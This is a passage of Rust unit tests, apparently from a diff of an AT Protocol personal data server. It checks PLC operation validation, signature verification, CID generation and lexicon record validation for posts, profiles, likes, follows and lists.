"type": "AtprotoPersonalDataServer",
|
||||
"endpoint": "https://pds.example.com"
|
||||
}
|
||||
},
|
||||
"sig": "test"
|
||||
});
|
||||
|
||||
let ctx = PlcValidationContext {
|
||||
server_rotation_key: server_key.to_string(),
|
||||
expected_signing_key: did_key.clone(),
|
||||
expected_handle: "test.handle".to_string(),
|
||||
expected_pds_endpoint: "https://pds.example.com".to_string(),
|
||||
};
|
||||
|
||||
let result = validate_plc_operation_for_submission(&op, &ctx);
|
||||
assert!(matches!(result, Err(PlcError::InvalidResponse(msg)) if msg.contains("rotation key")));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_validate_signing_key_match() {
|
||||
let key = SigningKey::random(&mut rand::thread_rng());
|
||||
let did_key = signing_key_to_did_key(&key);
|
||||
let wrong_key = "did:key:zWrongKey456";
|
||||
|
||||
let op = json!({
|
||||
"type": "plc_operation",
|
||||
"rotationKeys": [did_key.clone()],
|
||||
"verificationMethods": {"atproto": wrong_key},
|
||||
"alsoKnownAs": ["at://test.handle"],
|
||||
"services": {
|
||||
"atproto_pds": {
|
||||
"type": "AtprotoPersonalDataServer",
|
||||
"endpoint": "https://pds.example.com"
|
||||
}
|
||||
},
|
||||
"sig": "test"
|
||||
});
|
||||
|
||||
let ctx = PlcValidationContext {
|
||||
server_rotation_key: did_key.clone(),
|
||||
expected_signing_key: did_key.clone(),
|
||||
expected_handle: "test.handle".to_string(),
|
||||
expected_pds_endpoint: "https://pds.example.com".to_string(),
|
||||
};
|
||||
|
||||
let result = validate_plc_operation_for_submission(&op, &ctx);
|
||||
assert!(matches!(result, Err(PlcError::InvalidResponse(msg)) if msg.contains("signing key")));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_validate_handle_match() {
|
||||
let key = SigningKey::random(&mut rand::thread_rng());
|
||||
let did_key = signing_key_to_did_key(&key);
|
||||
|
||||
let op = json!({
|
||||
"type": "plc_operation",
|
||||
"rotationKeys": [did_key.clone()],
|
||||
"verificationMethods": {"atproto": did_key.clone()},
|
||||
"alsoKnownAs": ["at://wrong.handle"],
|
||||
"services": {
|
||||
"atproto_pds": {
|
||||
"type": "AtprotoPersonalDataServer",
|
||||
"endpoint": "https://pds.example.com"
|
||||
}
|
||||
},
|
||||
"sig": "test"
|
||||
});
|
||||
|
||||
let ctx = PlcValidationContext {
|
||||
server_rotation_key: did_key.clone(),
|
||||
expected_signing_key: did_key.clone(),
|
||||
expected_handle: "test.handle".to_string(),
|
||||
expected_pds_endpoint: "https://pds.example.com".to_string(),
|
||||
};
|
||||
|
||||
let result = validate_plc_operation_for_submission(&op, &ctx);
|
||||
assert!(matches!(result, Err(PlcError::InvalidResponse(msg)) if msg.contains("handle")));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_validate_pds_service_type() {
|
||||
let key = SigningKey::random(&mut rand::thread_rng());
|
||||
let did_key = signing_key_to_did_key(&key);
|
||||
|
||||
let op = json!({
|
||||
"type": "plc_operation",
|
||||
"rotationKeys": [did_key.clone()],
|
||||
"verificationMethods": {"atproto": did_key.clone()},
|
||||
"alsoKnownAs": ["at://test.handle"],
|
||||
"services": {
|
||||
"atproto_pds": {
|
||||
"type": "WrongServiceType",
|
||||
"endpoint": "https://pds.example.com"
|
||||
}
|
||||
},
|
||||
"sig": "test"
|
||||
});
|
||||
|
||||
let ctx = PlcValidationContext {
|
||||
server_rotation_key: did_key.clone(),
|
||||
expected_signing_key: did_key.clone(),
|
||||
expected_handle: "test.handle".to_string(),
|
||||
expected_pds_endpoint: "https://pds.example.com".to_string(),
|
||||
};
|
||||
|
||||
let result = validate_plc_operation_for_submission(&op, &ctx);
|
||||
assert!(matches!(result, Err(PlcError::InvalidResponse(msg)) if msg.contains("type")));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_validate_pds_endpoint_match() {
|
||||
let key = SigningKey::random(&mut rand::thread_rng());
|
||||
let did_key = signing_key_to_did_key(&key);
|
||||
|
||||
let op = json!({
|
||||
"type": "plc_operation",
|
||||
"rotationKeys": [did_key.clone()],
|
||||
"verificationMethods": {"atproto": did_key.clone()},
|
||||
"alsoKnownAs": ["at://test.handle"],
|
||||
"services": {
|
||||
"atproto_pds": {
|
||||
"type": "AtprotoPersonalDataServer",
|
||||
"endpoint": "https://wrong.endpoint.com"
|
||||
}
|
||||
},
|
||||
"sig": "test"
|
||||
});
|
||||
|
||||
let ctx = PlcValidationContext {
|
||||
server_rotation_key: did_key.clone(),
|
||||
expected_signing_key: did_key.clone(),
|
||||
expected_handle: "test.handle".to_string(),
|
||||
expected_pds_endpoint: "https://pds.example.com".to_string(),
|
||||
};
|
||||
|
||||
let result = validate_plc_operation_for_submission(&op, &ctx);
|
||||
assert!(matches!(result, Err(PlcError::InvalidResponse(msg)) if msg.contains("endpoint")));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_verify_signature_secp256k1() {
|
||||
let key = SigningKey::random(&mut rand::thread_rng());
|
||||
let did_key = signing_key_to_did_key(&key);
|
||||
|
||||
let op = json!({
|
||||
"type": "plc_operation",
|
||||
"rotationKeys": [did_key.clone()],
|
||||
"verificationMethods": {},
|
||||
"alsoKnownAs": [],
|
||||
"services": {},
|
||||
"prev": null
|
||||
});
|
||||
|
||||
let signed = sign_operation(&op, &key).unwrap();
|
||||
let rotation_keys = vec![did_key];
|
||||
|
||||
let result = verify_operation_signature(&signed, &rotation_keys);
|
||||
assert!(result.is_ok());
|
||||
assert!(result.unwrap());
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_verify_signature_wrong_key() {
|
||||
let key = SigningKey::random(&mut rand::thread_rng());
|
||||
let other_key = SigningKey::random(&mut rand::thread_rng());
|
||||
let other_did_key = signing_key_to_did_key(&other_key);
|
||||
|
||||
let op = json!({
|
||||
"type": "plc_operation",
|
||||
"rotationKeys": [],
|
||||
"verificationMethods": {},
|
||||
"alsoKnownAs": [],
|
||||
"services": {},
|
||||
"prev": null
|
||||
});
|
||||
|
||||
let signed = sign_operation(&op, &key).unwrap();
|
||||
let wrong_rotation_keys = vec![other_did_key];
|
||||
|
||||
let result = verify_operation_signature(&signed, &wrong_rotation_keys);
|
||||
assert!(result.is_ok());
|
||||
assert!(!result.unwrap());
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_verify_signature_invalid_did_key_format() {
|
||||
let key = SigningKey::random(&mut rand::thread_rng());
|
||||
|
||||
let op = json!({
|
||||
"type": "plc_operation",
|
||||
"rotationKeys": [],
|
||||
"verificationMethods": {},
|
||||
"alsoKnownAs": [],
|
||||
"services": {},
|
||||
"prev": null
|
||||
});
|
||||
|
||||
let signed = sign_operation(&op, &key).unwrap();
|
||||
let invalid_keys = vec!["not-a-did-key".to_string()];
|
||||
|
||||
let result = verify_operation_signature(&signed, &invalid_keys);
|
||||
assert!(result.is_ok());
|
||||
assert!(!result.unwrap());
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_tombstone_validation() {
|
||||
let op = json!({
|
||||
"type": "plc_tombstone",
|
||||
"prev": "bafyreig6xxxxxyyyyyzzzzzz",
|
||||
"sig": "test"
|
||||
});
|
||||
let result = validate_plc_operation(&op);
|
||||
assert!(result.is_ok());
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_cid_for_cbor_deterministic() {
|
||||
let value = json!({
|
||||
"alpha": 1,
|
||||
"beta": 2
|
||||
});
|
||||
|
||||
let cid1 = cid_for_cbor(&value).unwrap();
|
||||
let cid2 = cid_for_cbor(&value).unwrap();
|
||||
|
||||
assert_eq!(cid1, cid2, "CID generation should be deterministic");
|
||||
assert!(cid1.starts_with("bafyrei"), "CID should start with bafyrei (dag-cbor + sha256)");
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_cid_different_for_different_data() {
|
||||
let value1 = json!({"data": 1});
|
||||
let value2 = json!({"data": 2});
|
||||
|
||||
let cid1 = cid_for_cbor(&value1).unwrap();
|
||||
let cid2 = cid_for_cbor(&value2).unwrap();
|
||||
|
||||
assert_ne!(cid1, cid2, "Different data should produce different CIDs");
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_signing_key_to_did_key_format() {
|
||||
let key = SigningKey::random(&mut rand::thread_rng());
|
||||
let did_key = signing_key_to_did_key(&key);
|
||||
|
||||
assert!(did_key.starts_with("did:key:z"), "Should start with did:key:z");
|
||||
assert!(did_key.len() > 50, "Did key should be reasonably long");
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_signing_key_to_did_key_unique() {
|
||||
let key1 = SigningKey::random(&mut rand::thread_rng());
|
||||
let key2 = SigningKey::random(&mut rand::thread_rng());
|
||||
|
||||
let did1 = signing_key_to_did_key(&key1);
|
||||
let did2 = signing_key_to_did_key(&key2);
|
||||
|
||||
assert_ne!(did1, did2, "Different keys should produce different did:keys");
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_signing_key_to_did_key_consistent() {
|
||||
let key = SigningKey::random(&mut rand::thread_rng());
|
||||
|
||||
let did1 = signing_key_to_did_key(&key);
|
||||
let did2 = signing_key_to_did_key(&key);
|
||||
|
||||
assert_eq!(did1, did2, "Same key should produce same did:key");
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_sign_operation_removes_existing_sig() {
|
||||
let key = SigningKey::random(&mut rand::thread_rng());
|
||||
let op = json!({
|
||||
"type": "plc_operation",
|
||||
"rotationKeys": [],
|
||||
"verificationMethods": {},
|
||||
"alsoKnownAs": [],
|
||||
"services": {},
|
||||
"prev": null,
|
||||
"sig": "old_signature"
|
||||
});
|
||||
|
||||
let signed = sign_operation(&op, &key).unwrap();
|
||||
let new_sig = signed.get("sig").and_then(|v| v.as_str()).unwrap();
|
||||
|
||||
assert_ne!(new_sig, "old_signature", "Should replace old signature");
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_validate_plc_operation_not_object() {
|
||||
let result = validate_plc_operation(&json!("not an object"));
|
||||
assert!(matches!(result, Err(PlcError::InvalidResponse(_))));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_validate_for_submission_tombstone_passes() {
|
||||
let key = SigningKey::random(&mut rand::thread_rng());
|
||||
let did_key = signing_key_to_did_key(&key);
|
||||
|
||||
let op = json!({
|
||||
"type": "plc_tombstone",
|
||||
"prev": "bafyreig6xxxxxyyyyyzzzzzz",
|
||||
"sig": "test"
|
||||
});
|
||||
|
||||
let ctx = PlcValidationContext {
|
||||
server_rotation_key: did_key.clone(),
|
||||
expected_signing_key: did_key,
|
||||
expected_handle: "test.handle".to_string(),
|
||||
expected_pds_endpoint: "https://pds.example.com".to_string(),
|
||||
};
|
||||
|
||||
let result = validate_plc_operation_for_submission(&op, &ctx);
|
||||
assert!(result.is_ok(), "Tombstone should pass submission validation");
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_verify_signature_missing_sig() {
|
||||
let op = json!({
|
||||
"type": "plc_operation",
|
||||
"rotationKeys": [],
|
||||
"verificationMethods": {},
|
||||
"alsoKnownAs": [],
|
||||
"services": {}
|
||||
});
|
||||
|
||||
let result = verify_operation_signature(&op, &[]);
|
||||
assert!(matches!(result, Err(PlcError::InvalidResponse(msg)) if msg.contains("sig")));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_verify_signature_invalid_base64() {
|
||||
let op = json!({
|
||||
"type": "plc_operation",
|
||||
"rotationKeys": [],
|
||||
"verificationMethods": {},
|
||||
"alsoKnownAs": [],
|
||||
"services": {},
|
||||
"sig": "not-valid-base64!!!"
|
||||
});
|
||||
|
||||
let result = verify_operation_signature(&op, &[]);
|
||||
assert!(matches!(result, Err(PlcError::InvalidResponse(_))));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_plc_operation_struct() {
|
||||
let mut services = HashMap::new();
|
||||
services.insert("atproto_pds".to_string(), PlcService {
|
||||
service_type: "AtprotoPersonalDataServer".to_string(),
|
||||
endpoint: "https://pds.example.com".to_string(),
|
||||
});
|
||||
|
||||
let mut verification_methods = HashMap::new();
|
||||
verification_methods.insert("atproto".to_string(), "did:key:zTest123".to_string());
|
||||
|
||||
let op = PlcOperation {
|
||||
op_type: "plc_operation".to_string(),
|
||||
rotation_keys: vec!["did:key:zTest123".to_string()],
|
||||
verification_methods,
|
||||
also_known_as: vec!["at://test.handle".to_string()],
|
||||
services,
|
||||
prev: None,
|
||||
sig: Some("test".to_string()),
|
||||
};
|
||||
|
||||
let json_value = serde_json::to_value(&op).unwrap();
|
||||
assert_eq!(json_value["type"], "plc_operation");
|
||||
assert!(json_value["rotationKeys"].is_array());
|
||||
}
|
||||
@@ -0,0 +1,590 @@
|
||||
use bspds::validation::{RecordValidator, ValidationError, ValidationStatus, validate_record_key, validate_collection_nsid};
|
||||
use serde_json::json;
|
||||
|
||||
fn now() -> String {
|
||||
chrono::Utc::now().to_rfc3339()
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_validate_post_valid() {
|
||||
let validator = RecordValidator::new();
|
||||
let post = json!({
|
||||
"$type": "app.bsky.feed.post",
|
||||
"text": "Hello world!",
|
||||
"createdAt": now()
|
||||
});
|
||||
let result = validator.validate(&post, "app.bsky.feed.post");
|
||||
assert_eq!(result.unwrap(), ValidationStatus::Valid);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_validate_post_missing_text() {
|
||||
let validator = RecordValidator::new();
|
||||
let post = json!({
|
||||
"$type": "app.bsky.feed.post",
|
||||
"createdAt": now()
|
||||
});
|
||||
let result = validator.validate(&post, "app.bsky.feed.post");
|
||||
assert!(matches!(result, Err(ValidationError::MissingField(f)) if f == "text"));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_validate_post_missing_created_at() {
|
||||
let validator = RecordValidator::new();
|
||||
let post = json!({
|
||||
"$type": "app.bsky.feed.post",
|
||||
"text": "Hello"
|
||||
});
|
||||
let result = validator.validate(&post, "app.bsky.feed.post");
|
||||
assert!(matches!(result, Err(ValidationError::MissingField(f)) if f == "createdAt"));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_validate_post_text_too_long() {
|
||||
let validator = RecordValidator::new();
|
||||
let long_text = "a".repeat(3001);
|
||||
let post = json!({
|
||||
"$type": "app.bsky.feed.post",
|
||||
"text": long_text,
|
||||
"createdAt": now()
|
||||
});
|
||||
let result = validator.validate(&post, "app.bsky.feed.post");
|
||||
assert!(matches!(result, Err(ValidationError::InvalidField { path, .. }) if path == "text"));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_validate_post_text_at_limit() {
|
||||
let validator = RecordValidator::new();
|
||||
let limit_text = "a".repeat(3000);
|
||||
let post = json!({
|
||||
"$type": "app.bsky.feed.post",
|
||||
"text": limit_text,
|
||||
"createdAt": now()
|
||||
});
|
||||
let result = validator.validate(&post, "app.bsky.feed.post");
|
||||
assert_eq!(result.unwrap(), ValidationStatus::Valid);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_validate_post_too_many_langs() {
|
||||
let validator = RecordValidator::new();
|
||||
let post = json!({
|
||||
"$type": "app.bsky.feed.post",
|
||||
"text": "Hello",
|
||||
"createdAt": now(),
|
||||
"langs": ["en", "fr", "de", "es"]
|
||||
});
|
||||
let result = validator.validate(&post, "app.bsky.feed.post");
|
||||
assert!(matches!(result, Err(ValidationError::InvalidField { path, .. }) if path == "langs"));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_validate_post_three_langs_ok() {
|
||||
let validator = RecordValidator::new();
|
||||
let post = json!({
|
||||
"$type": "app.bsky.feed.post",
|
||||
"text": "Hello",
|
||||
"createdAt": now(),
|
||||
"langs": ["en", "fr", "de"]
|
||||
});
|
||||
let result = validator.validate(&post, "app.bsky.feed.post");
|
||||
assert_eq!(result.unwrap(), ValidationStatus::Valid);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_validate_post_too_many_tags() {
|
||||
let validator = RecordValidator::new();
|
||||
let post = json!({
|
||||
"$type": "app.bsky.feed.post",
|
||||
"text": "Hello",
|
||||
"createdAt": now(),
|
||||
"tags": ["tag1", "tag2", "tag3", "tag4", "tag5", "tag6", "tag7", "tag8", "tag9"]
|
||||
});
|
||||
let result = validator.validate(&post, "app.bsky.feed.post");
|
||||
assert!(matches!(result, Err(ValidationError::InvalidField { path, .. }) if path == "tags"));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_validate_post_eight_tags_ok() {
|
||||
let validator = RecordValidator::new();
|
||||
let post = json!({
|
||||
"$type": "app.bsky.feed.post",
|
||||
"text": "Hello",
|
||||
"createdAt": now(),
|
||||
"tags": ["tag1", "tag2", "tag3", "tag4", "tag5", "tag6", "tag7", "tag8"]
|
||||
});
|
||||
let result = validator.validate(&post, "app.bsky.feed.post");
|
||||
assert_eq!(result.unwrap(), ValidationStatus::Valid);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_validate_post_tag_too_long() {
|
||||
let validator = RecordValidator::new();
|
||||
let long_tag = "t".repeat(641);
|
||||
let post = json!({
|
||||
"$type": "app.bsky.feed.post",
|
||||
"text": "Hello",
|
||||
"createdAt": now(),
|
||||
"tags": [long_tag]
|
||||
});
|
||||
let result = validator.validate(&post, "app.bsky.feed.post");
|
||||
assert!(matches!(result, Err(ValidationError::InvalidField { path, .. }) if path.starts_with("tags/")));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_validate_profile_valid() {
|
||||
let validator = RecordValidator::new();
|
||||
let profile = json!({
|
||||
"$type": "app.bsky.actor.profile",
|
||||
"displayName": "Test User",
|
||||
"description": "A test user profile"
|
||||
});
|
||||
let result = validator.validate(&profile, "app.bsky.actor.profile");
|
||||
assert_eq!(result.unwrap(), ValidationStatus::Valid);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_validate_profile_empty_ok() {
|
||||
let validator = RecordValidator::new();
|
||||
let profile = json!({
|
||||
"$type": "app.bsky.actor.profile"
|
||||
});
|
||||
let result = validator.validate(&profile, "app.bsky.actor.profile");
|
||||
assert_eq!(result.unwrap(), ValidationStatus::Valid);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_validate_profile_displayname_too_long() {
|
||||
let validator = RecordValidator::new();
|
||||
let long_name = "n".repeat(641);
|
||||
let profile = json!({
|
||||
"$type": "app.bsky.actor.profile",
|
||||
"displayName": long_name
|
||||
});
|
||||
let result = validator.validate(&profile, "app.bsky.actor.profile");
|
||||
assert!(matches!(result, Err(ValidationError::InvalidField { path, .. }) if path == "displayName"));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_validate_profile_description_too_long() {
|
||||
let validator = RecordValidator::new();
|
||||
let long_desc = "d".repeat(2561);
|
||||
let profile = json!({
|
||||
"$type": "app.bsky.actor.profile",
|
||||
"description": long_desc
|
||||
});
|
||||
let result = validator.validate(&profile, "app.bsky.actor.profile");
|
||||
assert!(matches!(result, Err(ValidationError::InvalidField { path, .. }) if path == "description"));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_validate_like_valid() {
|
||||
let validator = RecordValidator::new();
|
||||
let like = json!({
|
||||
"$type": "app.bsky.feed.like",
|
||||
"subject": {
|
||||
"uri": "at://did:plc:test/app.bsky.feed.post/123",
|
||||
"cid": "bafyreig6xxxxxyyyyyzzzzzz"
|
||||
},
|
||||
"createdAt": now()
|
||||
});
|
||||
let result = validator.validate(&like, "app.bsky.feed.like");
|
||||
assert_eq!(result.unwrap(), ValidationStatus::Valid);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_validate_like_missing_subject() {
|
||||
let validator = RecordValidator::new();
|
||||
let like = json!({
|
||||
"$type": "app.bsky.feed.like",
|
||||
"createdAt": now()
|
||||
});
|
||||
let result = validator.validate(&like, "app.bsky.feed.like");
|
||||
assert!(matches!(result, Err(ValidationError::MissingField(f)) if f == "subject"));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_validate_like_missing_subject_uri() {
|
||||
let validator = RecordValidator::new();
|
||||
let like = json!({
|
||||
"$type": "app.bsky.feed.like",
|
||||
"subject": {
|
||||
"cid": "bafyreig6xxxxxyyyyyzzzzzz"
|
||||
},
|
||||
"createdAt": now()
|
||||
});
|
||||
let result = validator.validate(&like, "app.bsky.feed.like");
|
||||
assert!(matches!(result, Err(ValidationError::MissingField(f)) if f.contains("uri")));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_validate_like_invalid_subject_uri() {
|
||||
let validator = RecordValidator::new();
|
||||
let like = json!({
|
||||
"$type": "app.bsky.feed.like",
|
||||
"subject": {
|
||||
"uri": "https://example.com/not-at-uri",
|
||||
"cid": "bafyreig6xxxxxyyyyyzzzzzz"
|
||||
},
|
||||
"createdAt": now()
|
||||
});
|
||||
let result = validator.validate(&like, "app.bsky.feed.like");
|
||||
assert!(matches!(result, Err(ValidationError::InvalidField { path, .. }) if path.contains("uri")));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_validate_repost_valid() {
|
||||
let validator = RecordValidator::new();
|
||||
let repost = json!({
|
||||
"$type": "app.bsky.feed.repost",
|
||||
"subject": {
|
||||
"uri": "at://did:plc:test/app.bsky.feed.post/123",
|
||||
"cid": "bafyreig6xxxxxyyyyyzzzzzz"
|
||||
},
|
||||
"createdAt": now()
|
||||
});
|
||||
let result = validator.validate(&repost, "app.bsky.feed.repost");
|
||||
assert_eq!(result.unwrap(), ValidationStatus::Valid);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_validate_repost_missing_subject() {
|
||||
let validator = RecordValidator::new();
|
||||
let repost = json!({
|
||||
"$type": "app.bsky.feed.repost",
|
||||
"createdAt": now()
|
||||
});
|
||||
let result = validator.validate(&repost, "app.bsky.feed.repost");
|
||||
assert!(matches!(result, Err(ValidationError::MissingField(f)) if f == "subject"));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_validate_follow_valid() {
|
||||
let validator = RecordValidator::new();
|
||||
let follow = json!({
|
||||
"$type": "app.bsky.graph.follow",
|
||||
"subject": "did:plc:test12345",
|
||||
"createdAt": now()
|
||||
});
|
||||
let result = validator.validate(&follow, "app.bsky.graph.follow");
|
||||
assert_eq!(result.unwrap(), ValidationStatus::Valid);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_validate_follow_missing_subject() {
|
||||
let validator = RecordValidator::new();
|
||||
let follow = json!({
|
||||
"$type": "app.bsky.graph.follow",
|
||||
"createdAt": now()
|
||||
});
|
||||
let result = validator.validate(&follow, "app.bsky.graph.follow");
|
||||
assert!(matches!(result, Err(ValidationError::MissingField(f)) if f == "subject"));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_validate_follow_invalid_subject() {
|
||||
let validator = RecordValidator::new();
|
||||
let follow = json!({
|
||||
"$type": "app.bsky.graph.follow",
|
||||
"subject": "not-a-did",
|
||||
"createdAt": now()
|
||||
});
|
||||
let result = validator.validate(&follow, "app.bsky.graph.follow");
|
||||
assert!(matches!(result, Err(ValidationError::InvalidField { path, .. }) if path == "subject"));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_validate_block_valid() {
|
||||
let validator = RecordValidator::new();
|
||||
let block = json!({
|
||||
"$type": "app.bsky.graph.block",
|
||||
"subject": "did:plc:blocked123",
|
||||
"createdAt": now()
|
||||
});
|
||||
let result = validator.validate(&block, "app.bsky.graph.block");
|
||||
assert_eq!(result.unwrap(), ValidationStatus::Valid);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_validate_block_invalid_subject() {
|
||||
let validator = RecordValidator::new();
|
||||
let block = json!({
|
||||
"$type": "app.bsky.graph.block",
|
||||
"subject": "not-a-did",
|
||||
"createdAt": now()
|
||||
});
|
||||
let result = validator.validate(&block, "app.bsky.graph.block");
|
||||
assert!(matches!(result, Err(ValidationError::InvalidField { path, .. }) if path == "subject"));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_validate_list_valid() {
|
||||
let validator = RecordValidator::new();
|
||||
let list = json!({
|
||||
"$type": "app.bsky.graph.list",
|
||||
"name": "My List",
|
||||
"purpose": "app.bsky.graph.defs#modlist",
|
||||
"createdAt": now()
|
||||
});
|
||||
let result = validator.validate(&list, "app.bsky.graph.list");
|
||||
assert_eq!(result.unwrap(), ValidationStatus::Valid);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_validate_list_name_too_long() {
|
||||
let validator = RecordValidator::new();
|
||||
let long_name = "n".repeat(65);
|
||||
let list = json!({
|
||||
"$type": "app.bsky.graph.list",
|
||||
"name": long_name,
|
||||
"purpose": "app.bsky.graph.defs#modlist",
|
||||
"createdAt": now()
|
||||
});
|
||||
let result = validator.validate(&list, "app.bsky.graph.list");
|
||||
assert!(matches!(result, Err(ValidationError::InvalidField { path, .. }) if path == "name"));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_validate_list_empty_name() {
|
||||
let validator = RecordValidator::new();
|
||||
let list = json!({
|
||||
"$type": "app.bsky.graph.list",
|
||||
"name": "",
|
||||
"purpose": "app.bsky.graph.defs#modlist",
|
||||
"createdAt": now()
|
||||
});
|
||||
let result = validator.validate(&list, "app.bsky.graph.list");
|
||||
assert!(matches!(result, Err(ValidationError::InvalidField { path, .. }) if path == "name"));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_validate_feed_generator_valid() {
|
||||
let validator = RecordValidator::new();
|
||||
let generator = json!({
|
||||
"$type": "app.bsky.feed.generator",
|
||||
"did": "did:web:example.com",
|
||||
"displayName": "My Feed",
|
||||
"createdAt": now()
|
||||
});
|
||||
let result = validator.validate(&generator, "app.bsky.feed.generator");
|
||||
assert_eq!(result.unwrap(), ValidationStatus::Valid);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_validate_feed_generator_displayname_too_long() {
|
||||
let validator = RecordValidator::new();
|
||||
let long_name = "f".repeat(241);
|
||||
let generator = json!({
|
||||
"$type": "app.bsky.feed.generator",
|
||||
"did": "did:web:example.com",
|
||||
"displayName": long_name,
|
||||
"createdAt": now()
|
||||
});
|
||||
let result = validator.validate(&generator, "app.bsky.feed.generator");
|
||||
assert!(matches!(result, Err(ValidationError::InvalidField { path, .. }) if path == "displayName"));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_validate_unknown_type_returns_unknown() {
|
||||
let validator = RecordValidator::new();
|
||||
let custom = json!({
|
||||
"$type": "com.custom.record",
|
||||
"data": "test"
|
||||
});
|
||||
let result = validator.validate(&custom, "com.custom.record");
|
||||
assert_eq!(result.unwrap(), ValidationStatus::Unknown);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_validate_unknown_type_strict_rejects() {
|
||||
let validator = RecordValidator::new().require_lexicon(true);
|
||||
let custom = json!({
|
||||
"$type": "com.custom.record",
|
||||
"data": "test"
|
||||
});
|
||||
let result = validator.validate(&custom, "com.custom.record");
|
||||
assert!(matches!(result, Err(ValidationError::UnknownType(_))));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_validate_type_mismatch() {
|
||||
let validator = RecordValidator::new();
|
||||
let record = json!({
|
||||
"$type": "app.bsky.feed.like",
|
||||
"subject": {"uri": "at://test", "cid": "bafytest"},
|
||||
"createdAt": now()
|
||||
});
|
||||
let result = validator.validate(&record, "app.bsky.feed.post");
|
||||
assert!(matches!(result, Err(ValidationError::TypeMismatch { expected, actual })
|
||||
if expected == "app.bsky.feed.post" && actual == "app.bsky.feed.like"));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_validate_missing_type() {
|
||||
let validator = RecordValidator::new();
|
||||
let record = json!({
|
||||
"text": "Hello"
|
||||
});
|
||||
let result = validator.validate(&record, "app.bsky.feed.post");
|
||||
assert!(matches!(result, Err(ValidationError::MissingType)));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_validate_not_object() {
|
||||
let validator = RecordValidator::new();
|
||||
let record = json!("just a string");
|
||||
let result = validator.validate(&record, "app.bsky.feed.post");
|
||||
assert!(matches!(result, Err(ValidationError::InvalidRecord(_))));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_validate_datetime_format_valid() {
|
||||
let validator = RecordValidator::new();
|
||||
let post = json!({
|
||||
"$type": "app.bsky.feed.post",
|
||||
"text": "Test",
|
||||
"createdAt": "2024-01-15T10:30:00.000Z"
|
||||
});
|
||||
let result = validator.validate(&post, "app.bsky.feed.post");
|
||||
assert_eq!(result.unwrap(), ValidationStatus::Valid);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_validate_datetime_with_offset() {
|
||||
let validator = RecordValidator::new();
|
||||
let post = json!({
|
||||
"$type": "app.bsky.feed.post",
|
||||
"text": "Test",
|
||||
"createdAt": "2024-01-15T10:30:00+05:30"
|
||||
});
|
||||
let result = validator.validate(&post, "app.bsky.feed.post");
|
||||
assert_eq!(result.unwrap(), ValidationStatus::Valid);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_validate_datetime_invalid_format() {
|
||||
let validator = RecordValidator::new();
|
||||
let post = json!({
|
||||
"$type": "app.bsky.feed.post",
|
||||
"text": "Test",
|
||||
"createdAt": "2024/01/15"
|
||||
});
|
||||
let result = validator.validate(&post, "app.bsky.feed.post");
|
||||
assert!(matches!(result, Err(ValidationError::InvalidDatetime { .. })));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_validate_record_key_valid() {
|
||||
assert!(validate_record_key("3k2n5j2").is_ok());
|
||||
assert!(validate_record_key("valid-key").is_ok());
|
||||
assert!(validate_record_key("valid_key").is_ok());
|
||||
assert!(validate_record_key("valid.key").is_ok());
|
||||
assert!(validate_record_key("valid~key").is_ok());
|
||||
assert!(validate_record_key("self").is_ok());
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_validate_record_key_empty() {
|
||||
let result = validate_record_key("");
|
||||
assert!(matches!(result, Err(ValidationError::InvalidRecord(_))));
|
||||
}
